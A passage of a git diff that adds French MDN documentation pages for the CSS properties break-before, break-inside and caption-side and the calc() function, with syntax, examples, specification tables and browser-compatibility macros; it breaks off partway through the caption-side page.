+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »&lt;/p&gt;
+  &lt;p&gt;« Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","400","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation', '#break-after', 'break-after')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>Ajouts des mots-clés <code>recto</code> et <code>verso</code>. Le type de média pour cette propriété est passé de <code>paged</code> à <code>visual</code>. L'algorithme de rupture est précisé afin de gérer les différents types de rupture.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Regions', '#region-flow-break', 'break-after')}}</td>
+   <td>{{Spec2('CSS3 Regions')}}</td>
+   <td>La spécification étend la propriété pour gérer les sauts de région. Les mots-clés <code>avoid-region</code> et <code>region</code> sont ajoutés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#break-after', 'break-after')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale. La spécification étend la propriété {{cssxref("page-break-after")}} de CSS 2.1 afin de gérer les sauts de page ou de colonne.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_une_disposition_multi-colonnes">Prise en charge pour une disposition multi-colonnes</h3>
+
+<p>{{Compat("css.properties.break-after.multicol_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_média_paginés">Prise en charge pour les média paginés</h3>
+
+<p>{{Compat("css.properties.break-after.paged_context")}}</p>
diff --git a/files/fr/web/css/break-before/index.html b/files/fr/web/css/break-before/index.html
new file mode 100644
index 0000000000..35e2f5dbf8
--- /dev/null
+++ b/files/fr/web/css/break-before/index.html
@@ -0,0 +1,229 @@
+---
+title: break-before
+slug: Web/CSS/break-before
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/break-before
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>break-before</code></strong> décrit la façon dont la page, la colonne ou la région se fragmente avant la boîte générée. S'il n'y a aucune boîte générée, la propriété est ignorée.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de rupture génériques */
+break-before: auto;
+break-before: avoid;
+break-before: always;
+break-before: all;
+
+/* Valeurs de rupture pour les pages */
+break-before: avoid-page;
+break-before: page:
+break-before: left;
+break-before: right;
+break-before: recto;
+break-before: verso;
+
+/* Valeurs de rupture pour les colonnes */
+break-before: avoid-column;
+break-before: column;
+
+/* Valeurs de rupture pour les régions */
+break-before: avoid-region;
+break-before: region;
+
+/* Valeurs globales */
+break-before: inherit;
+break-before: initial;
+break-before: unset;
+</pre>
+
+<p>Chaque point de rupture éventuel (c'est-à-dire chaque frontière d'élément) est influencé par trois propriétés : la valeur de {{cssxref("break-after")}} de l'élément précédent, la valeur de {{cssxref("break-before")}} de l'élément suivant et la valeur de <code>break-inside</code> de l'élément englobant.</p>
+
+<p>Pour déterminer si on a une rupture, on applique les règles suivantes :</p>
+
+<ol>
+ <li>Si l'une des trois valeurs correspond à une rupture forcée (<code>always</code>, <code>left</code>, <code>right</code>, <code>page</code>, <code>column</code> ou <code>region</code>), cette valeur l'emporte. Si plusieurs valeurs décrivent une rupture forcée, c'est celle de l'élément qui apparaît le plus tard dans le flux qui est prise en compte (autrement dit, {{cssxref("break-before")}} l'emporte sur {{cssxref("break-after")}} qui l'emporte sur {{cssxref("break-inside")}}).</li>
+ <li>Si l'une des trois valeurs correspond à une valeur visant à éviter une rupture (<code>avoid</code>, <code>avoid-page</code>, <code>avoid-region</code>, <code>avoid-column</code>), aucune rupture ne sera appliquée à cet endroit.</li>
+</ol>
+
+<p>Une fois que les ruptures forcées ont été appliquées, le moteur peut ajouter des ruptures « douces » sauf aux endroits où les propriétés empêchent les ruptures.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>break-before</code> se paramètre avec un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<h4 id="Valeurs_de_rupture_génériques">Valeurs de rupture génériques</h4>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Valeur initiale qui ne force ni n'interdit de rupture (de page, de colonne ou de région) avant la boîte.</dd>
+ <dt><code>all</code>{{experimental_inline}}</dt>
+ <dd>Force la rupture juste avant la boîte principale. La rupture a lieu pour l'ensemble des contextes de fragmentation. Ainsi si l'élément concerné est dans un conteneur multi-colonnes dans un média paginé, il y aura une rupture de colonne et une rupture de page.</dd>
+ <dt><code>always</code>{{experimental_inline}}</dt>
+ <dd>Force la rupture juste avant la boîte principale. Le type de rupture dépend du contexte de fragmentation englobant l'élément. Si l'élément est situé dans un conteneur multi-colonne, une rupture de colonne sera ajoutée. Si l'élément est situé dans un média paginé (mais pas dans un conteneur multi-colonnes), la rupture introduite sera une rupture de page.</dd>
+ <dt><code>avoid</code></dt>
+ <dd>Empêche toute rupture (de page, de colonne ou de région) avant la boîte.</dd>
+</dl>
+
+<h4 id="Valeurs_de_rupture_liées_aux_médias_paginés">Valeurs de rupture liées aux médias paginés</h4>
+
+<dl>
+ <dt><code>avoid-page</code></dt>
+ <dd>Empêche toute saut de page avant la boîte de l'élément.</dd>
+ <dt><code>page</code></dt>
+ <dd>Force un saut de page avant la boîte de l'élément</dd>
+ <dt><code>left</code></dt>
+ <dd>Force un ou deux saut de page avant la boîte de l'élément afin que la prochaine page soit une page gauche.</dd>
+ <dt><code>recto</code> {{experimental_inline}}</dt>
+ <dd>Force un ou deux sauts de page avant la boîte de l'élément afin que la prochaine page soit une page recto (une page droite pour le sens de lecture gauche à droite et une page gauche pour le sens de lecture droite à gauche).</dd>
+ <dt><code>right</code></dt>
+ <dd>Force un ou deux saut de page avant la boîte de l'élément afin que la prochaine page soit une page droite.</dd>
+ <dt><code>verso</code>{{experimental_inline}}</dt>
+ <dd>Force un ou deux sauts de page avant la boîte de l'élément afin que la prochaine page soit une page verso (une page gauche pour le sens de lecture gauche à droite et une page droite pour le sens de lecture droite à gauche).</dd>
+</dl>
+
+<h4 id="Valeurs_de_ruptures_relatives_aux_dispositions_en_colonnes">Valeurs de ruptures relatives aux dispositions en colonnes</h4>
+
+<dl>
+ <dt><code>avoid-column</code></dt>
+ <dd>Empêche toute rupture de colonne avant la boîte de l'élément.</dd>
+ <dt><code>column</code></dt>
+ <dd>Force une rupture de colonne de page avant la boîte de l'élément.</dd>
+</dl>
+
+<h4 id="Valeurs_de_ruptures_relatives_aux_régions">Valeurs de ruptures relatives aux régions</h4>
+
+<dl>
+ <dt><code>region</code>{{experimental_inline}}</dt>
+ <dd>Force une rupture de région avant la boîte de l'élément.</dd>
+ <dt><code>avoid-region</code>{{experimental_inline}}</dt>
+ <dd>Empêche toute rupture de région avant la boîte de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Aliassynonymes_pour_les_ruptures_de_page">Alias/synonymes pour les ruptures de page</h2>
+
+<p>Pour des raisons de compatibilité, la propriété historique {{cssxref("page-break-before")}} devrait être considérée par les navigateurs comme un synonyme de <code>break-before</code>. Cela permet aux sites utilisant <code>page-break-before</code> de continuer à fonctionner comme précédemment. Voici un sous-ensemble des valeurs avec leurs alias :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><code>page-break-before</code></th>
+   <th scope="col"><code>break-before</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>auto</code></td>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <td><code>left</code></td>
+   <td><code>left</code></td>
+  </tr>
+  <tr>
+   <td><code>right</code></td>
+   <td><code>right</code></td>
+  </tr>
+  <tr>
+   <td><code>avoid</code></td>
+   <td><code>avoid</code></td>
+  </tr>
+  <tr>
+   <td><code>always</code></td>
+   <td><code>page</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La valeur <code>always</code> pour <code>page-break-before</code> a été implémentée par les navigateurs comme une rupture de page et non comme une rupture de colonne. C'est pourquoi l'alias ici utilisé est <code>page</code> et non <code>always</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  -webkit-column-count: 4;
+  -moz-column-count: 4;
+  column-count: 4;
+}
+
+p {
+  break-before: avoid-column;
+  /* Pour Firefox : */
+  page-break-before: avoid;
+  /* Pour WebKit : */
+  -webkit-column-break-before: avoid;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;
+  &lt;p&gt;« Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »&lt;/p&gt;
+  &lt;p&gt;« Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","400","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation', '#break-between', 'break-before')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>Ajouts des mots-clés <code>recto</code> et <code>verso</code>. Le type de média pour cette propriété est passé de <code>paged</code> à <code>visual</code>. L'algorithme de rupture est précisé afin de gérer les différents types de rupture.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Regions', '#region-flow-break', 'break-before')}}</td>
+   <td>{{Spec2('CSS3 Regions')}}</td>
+   <td>La spécification étend la propriété pour gérer les sauts de région. Les mots-clés <code>avoid-region</code> et <code>region</code> sont ajoutés.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#break-before-break-after-break-inside', 'break-before')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale. La spécification étend la propriété {{cssxref("page-break-before")}} de  CSS 2.1 afin de gérer les sauts de page ou de colonne.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_une_disposition_multi-colonnes">Prise en charge pour une disposition multi-colonnes</h3>
+
+<p>{{Compat("css.properties.break-before.multicol_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_média_paginés">Prise en charge pour les média paginés</h3>
+
+<p>{{Compat("css.properties.break-before.paged_context")}}</p>
diff --git a/files/fr/web/css/break-inside/index.html b/files/fr/web/css/break-inside/index.html
new file mode 100644
index 0000000000..89fd65ae74
--- /dev/null
+++ b/files/fr/web/css/break-inside/index.html
@@ -0,0 +1,163 @@
+---
+title: break-inside
+slug: Web/CSS/break-inside
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/break-inside
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>break-inside</code></strong> définit comment la page, la colonne ou la région se fragmente au sein de la boîte générée. S'il n'y a aucune boîte générée, la propriété est ignorée.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+break-inside: auto;
+break-inside: avoid;
+break-inside: avoid-page;
+break-inside: avoid-column;
+break-inside: avoid-region;
+
+/* Valeurs globales */
+break-inside: inherit;
+break-inside: initial;
+break-inside: unset;
+</pre>
+
+<p>Chaque point de rupture éventuel (c'est-à-dire chaque frontière d'élément) est influencé par trois propriétés : la valeur de {{cssxref("break-after")}} de l'élément précédent, la valeur de {{cssxref("break-before")}} de l'élément suivant et la valeur de <code>break-inside</code> de l'élément englobant.</p>
+
+<p>Pour déterminer si on a une rupture, on applique les règles suivantes :</p>
+
+<ol>
+ <li>Si l'une des trois valeurs correspond à une rupture forcée (<code>always</code>, <code>left</code>, <code>right</code>, <code>page</code>, <code>column</code> ou <code>region</code>), cette valeur l'emporte. Si plusieurs valeurs décrivent une rupture forcée, c'est celle de l'élément qui apparaît le plus tard dans le flux qui est prise en compte (autrement dit, {{cssxref("break-before")}} l'emporte sur {{cssxref("break-after")}} qui l'emporte sur <code>break-inside</code>).</li>
+ <li>Si l'une des trois valeurs correspond à une valeur visant à éviter une rupture (<code>avoid</code>, <code>avoid-page</code>, <code>avoid-region</code> ou <code>avoid-column</code>), aucune rupture ne sera appliquée à cet endroit.</li>
+</ol>
+
+<p>Une fois que les ruptures forcées ont été appliquées, le moteur peut ajouter des ruptures « douces » sauf aux endroits où les propriétés empêchent les ruptures.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>break-inside</code> se définit avec un mot-clé parmi ceux de la liste ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Cette valeur n'interdit ni ne force une rupture (pour une page, une colonne ou une région).</dd>
+ <dt><code>avoid</code></dt>
+ <dd>Cette valeur interdit toute rupture (de page, de colonne ou de région) dans la boîte principale.</dd>
+ <dt><code>avoid-page</code></dt>
+ <dd>Cette valeur interdit toute rupture de page au sein de la boîte.</dd>
+ <dt><code>avoid-column</code></dt>
+ <dd>Cette valeur interdit toute rupture de colonne au sein de la boîte.</dd>
+ <dt><code>avoid-region</code> {{experimental_inline}}</dt>
+ <dd>Cette valeur interdit toute rupture de région au sein de la boîte.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Synonymes_pour_page-break-inside">Synonymes pour <code>page-break-inside</code></h2>
+
+<p>Pour des raisons de compatibilité, la propriété historique {{cssxref("page-break-inside")}} devrait être traitée par les navigateurs comme <code>break-inside</code>. De cette façon, cela permet aux sites qui utilisaient <code>page-break-inside</code> de continuer à fonctionner. Voici un sous-ensemble de valeurs avec leurs alias :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><code>page-break-inside</code></th>
+   <th scope="col"><code>break-inside</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>auto</code></td>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <td><code>avoid</code></td>
+   <td><code>avoid</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  -webkit-column-count: 4;
+  -moz-column-count: 4;
+  column-count: 4;
+}
+
+p {
+  break-inside: avoid-column;
+  /* Pour Firefox : */
+  page-break-inside: avoid;
+  /* Pour WebKit : */
+  -webkit-column-break-inside: avoid;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;
+  &lt;p&gt;« Mais alors, » pensa Alice, « ne serai-je donc
+  jamais plus vieille que je ne le suis maintenant ?
+  D’un côté cela aura ses avantages, ne jamais être
+  une vieille femme. Mais alors avoir toujours des
+  leçons à apprendre ! Oh, je n’aimerais pas cela du
+  tout. »&lt;/p&gt;
+  &lt;p&gt;« Oh ! Alice, petite folle, » se répondit-elle.
+  « Comment pourriez-vous apprendre des leçons ici ?
+  Il y a à peine de la place pour vous, et il n’y en
+  a pas du tout pour vos livres de leçons. »&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","400","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation', '#break-within', 'break-inside')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Regions', '#region-flow-break', 'break-inside')}}</td>
+   <td>{{Spec2('CSS3 Regions')}}</td>
+   <td>Ajout de la gestion des ruptures de région.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#break-before-break-after-break-inside', 'break-inside')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.break-inside", 4)}}</p>
+
+<h3 id="Notes_relatives_à_la_compatibilité">Notes relatives à la compatibilité</h3>
+
+<p>Avant Firefox 65, l'ancienne propriété {{cssxref("page-break-inside")}} fonctionnait dans Firefox en empêchant les ruptures de colonnes et de pages. On utilisera les deux propriétés afin d'obtenir une rétrocompatibilité avec ces versions.</p>
+
+<p>Pour les anciens navigateurs basés sur WebKit, on peut utiliser la propriété préfixée <code>-webkit-column-break-inside</code> afin de contrôler les ruptures de colonne.</p>
diff --git a/files/fr/web/css/calc()/index.html b/files/fr/web/css/calc()/index.html
new file mode 100644
index 0000000000..da2f5a704a
--- /dev/null
+++ b/files/fr/web/css/calc()/index.html
@@ -0,0 +1,163 @@
+---
+title: calc
+slug: Web/CSS/calc()
+tags:
+  - CSS
+  - Fonction
+  - Reference
+  - Web
+translation_of: Web/CSS/calc()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction <strong><code>calc()</code></strong> peut être utilisée à n'importe quel endroit où une {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;frequency&gt;")}}, {{cssxref("&lt;angle&gt;")}}, {{cssxref("&lt;time&gt;")}}, {{cssxref("&lt;number&gt;")}}, {{cssxref("&lt;percentage&gt;")}} ou {{cssxref("&lt;integer&gt;")}} est nécessaire. Grâce à <code>calc()</code>, il est possible de réaliser des calculs pour déterminer la valeur d'une propriété CSS.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* property: calc(expression) */
+width: calc(100% - 80px);
+</pre>
+
+<p>Il est aussi possible d'utiliser <code>calc()</code> dans une autre fonction <code>calc()</code> et ainsi d'imbriquer les fonctions les unes dans les autres.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une fonction qui prend comme seul argument une expression mathématique et dont le résultat est utilisé comme valeur de retour. L'expression peut être n'importe quelle expression combinant les différents opérateurs suivants, en respectant l'ordre de priorité des opérateurs :</p>
+
+<dl>
+ <dt><code>+</code></dt>
+ <dd>Addition</dd>
+ <dt><code>-</code></dt>
+ <dd>Soustraction</dd>
+ <dt><code>*</code></dt>
+ <dd>Multiplication. Au moins un des arguments doit être un {{cssxref("&lt;number&gt;")}}.</dd>
+ <dt><code>/</code></dt>
+ <dd>Division. Il n'est pas possible de diviser par une longueur. Ceci peut être utilisé, par exemple, pour que votre longueur soit une fraction d'une longueur existante. L'opérande droit doit être une valeur de type {{cssxref("&lt;number&gt;")}}.</dd>
+</dl>
+
+<p>L'opérande dans l'expression peut utiliser n'importe quelle syntaxe de longueur. Vous pouvez utiliser des unités différentes pour chacune des valeurs si vous le souhaitez. Vous pouvez aussi utiliser les parenthèses pour définir l'ordre des opérations.</p>
+
+<h3 id="Notes">Notes</h3>
+
+<ul>
+ <li>Une division par zéro aboutit à une erreur qui est générée par le parseur HTML.</li>
+ <li>Les opérateurs <code>+</code> et <code>-</code> <strong>doivent toujours être entouré d'espaces</strong>. Par exemple l'opérande de <code>calc(50% -8px)</code> sera interprété comme une valeur en pourcentage suivie d'une longueur négative, l'expression est invalide. L'opérande de <code>calc(50% - 8px)</code> est une valeur en pourcentage suivie d'un signe moins et d'une longueur. Et ainsi, <code>calc(8px + -50%)</code> est interprété comme une longueur suivi d'un signe plus et d'un pourcentage négatif.</li>
+ <li>Les opérateurs <code>*</code> et <code>/</code> ne nécessitent pas d'espaces, mais les ajouter pour conserver la cohérence est recommandé.</li>
+ <li>Les expressions mathématiques manipulant des pourcentages pour les hauteurs et largeurs de colonnes d'un tableau, de groupes de colonne, de lignes d'un tableau ou de groupes de lignes contribuant à un tableau organisé de façon automatique ou en disposition fixe pourront être traitées comme si c'était <code>auto</code> qui avait été utilisé.</li>
+ <li>Il est possible d'imbriquer des fonctions <code>calc()</code>, auquel cas, les appels « internes » sont considérés comme des parenthèses.</li>
+</ul>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Positionner_un_objet_sur_l’écran_avec_une_marge">Positionner un objet sur l’écran avec une marge</h3>
+
+<p><code>calc()</code> rend le positionnement des objets facile en définissant une marge. Dans cet exemple, le CSS crée une bannière qui s'étend sur toute la fenêtre, avec un espace de 40 pixels entre chaque bout de la bannière et les bords de la fenêtre :</p>
+
+<pre class="brush: css notranslate">.banniere {
+  position: absolute;
+  left: 40px;
+  width: calc(100% - 80px);
+  border: solid black 1px;
+  box-shadow: 1px 2px;
+  background-color: yellow;
+  padding: 6px;
+  text-align: center;
+  box-sizing: border-box;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="banniere"&gt;C'est une bannière !&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample("Positionner_un_objet_sur_l’écran_avec_une_marge", '100%', '60')}}</p>
+
+<h3 id="Dimensionner_automatiquement_les_champs_d’un_formulaire_pour_s’ajuster_au_conteneur">Dimensionner automatiquement les champs d’un formulaire pour s’ajuster au conteneur</h3>
+
+<p>Un autre cas d'utilisation de <code>calc()</code> est d'aider à s'assurer que les champs d'un formulaire s'adaptent à l'espace disponible, sans s'étendre au-delà de la bordure du conteneur, tout en conservant une marge appropriée.</p>
+
+<p>Regardons un peu le CSS :</p>
+
+<pre class="brush: css notranslate">input {
+  padding: 2px;
+  display: block;
+  width: calc(100% - 1em);
+}
+
+#boiteformulaire {
+  width: calc(100%/6);
+  border: 1px solid black;
+  padding: 4px;
+}
+</pre>
+
+<p>Dans ce cas, le formulaire est lui-même défini pour utiliser un sixième de la taille disponible de la fenêtre. Ensuite, pour s'assurer que les champs gardent une taille appropriée, nous utilisons <code>calc()</code> pour définir qu'ils doivent être de la largeur de leur conteneur moins 1em. Enfin, le HTML suivant utilise le CSS défini :</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div id="boiteformulaire"&gt;
+  &lt;label&gt;Tapez quelque chose :&lt;/label&gt;
+  &lt;input type="text"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Dimensionner_automatiquement_les_champs_d’un_formulaire_pour_s’ajuster_au_conteneur", '100%', '80')}}</p>
+
+<h3 id="Imbriquer_plusieurs_calc_grâce_aux_variables_CSS">Imbriquer plusieurs <code>calc()</code> grâce aux variables CSS</h3>
+
+<p>Prenons la feuille de style suivante :</p>
+
+<pre class="brush: css notranslate">.toto {
+  --largeurA: 100px;
+  --largeurB: calc(var(--largeurA) / 2);
+  --largeurC: calc(var(--largeurB) / 2);
+  width: var(--largeurC);
+}</pre>
+
+<p>Une fois que toutes les variables sont développées, <code>largeurC</code> aura la valeur <code>calc( calc( 100px / 2) / 2)</code> et sera ensuite affectée à la propriété {{cssxref("width")}} des éléments de la classe <code>toto</code>. Tous les <code>calc()</code> imbriqués, quel que soit leur nombre, seront convertis en parenthèses, la valeur sera donc calculée comme <code>calc( ( 100px / 2) / 2)</code> (soit 25px). En résumé, utiliser des <code>calc()</code> imbriqués revient à utiliser des parenthèses.</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Lorsque vous utilisez <code>calc()</code> pour définir la taille d'un texte, assurez-vous d'inclure <a href="/fr/docs/Web/CSS/length#Unités_de_longueur_relatives">une unité de longueur relative</a>. Par exemple :</p>
+
+<pre class="brush: css notranslate">h1 {
+  font-size: calc(1.5rem + 3vw);
+}</pre>
+
+<p>De cette façon, la taille du texte s'adaptera si le lecteur zoome/dézoome.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html"><em>Understanding Success Criterion 1.4.4 - W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#calc-notation', 'calc()')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.calc")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2010/06/css3-calc/" title="Firefox 4: CSS3 calc() ✩ Mozilla Hacks – the Web developer blog">Firefox 4 : CSS3 <code>calc()</code> sur Mozilla Hacks</a></li>
+</ul>
diff --git a/files/fr/web/css/caption-side/index.html b/files/fr/web/css/caption-side/index.html
new file mode 100644
index 0000000000..8dc73a5ca1
--- /dev/null
+++ b/files/fr/web/css/caption-side/index.html
@@ -0,0 +1,116 @@
+---
+title: caption-side
+slug: Web/CSS/caption-side
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/caption-side
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>caption-side</code></strong> permet de choisir l'emplacement de la légende d'un tableau (représentée par l'élément {{HTMLElement("caption")}} du tableau). Les valeurs sont relatives au mode d'écriture (cf. {{cssxref("writing-mode")}}) du tableau.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/caption-side.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+/* Valeurs directionnelles */
+caption-side: top;
+caption-side: bottom;
+
+/* Valeurs non-standards */
+caption-side: left;
+caption-side: right;
+caption-side: top-outside;
+caption-side: bottom-outside;
+
+
+/* Valeur globales */
+caption-side: inherit;
+caption-side: initial;
+caption-side: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>top</code></dt>
+ <dd>Un mot-clé qui indique que la boîte de la légende doit être positionnée au-dessus du tableau.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>Un mot-clé qui indique que la boîte de la légende doit être positionnée en-dessous du tableau.</dd>
+ <dt><code>left</code> {{non-standard_inline}}</dt>
+ <dd>Un mot-clé qui indique que la boîte de la légende doit être positionnée à gauche du tableau.<br>
+ {{Note("Cette valeur a été proposée pour CSS 2, mais fut retirée avec la spécification CSS 2.1. Elle est non-standard.")}}</dd>
+ <dt><code>right</code> {{non-standard_inline}}</dt>
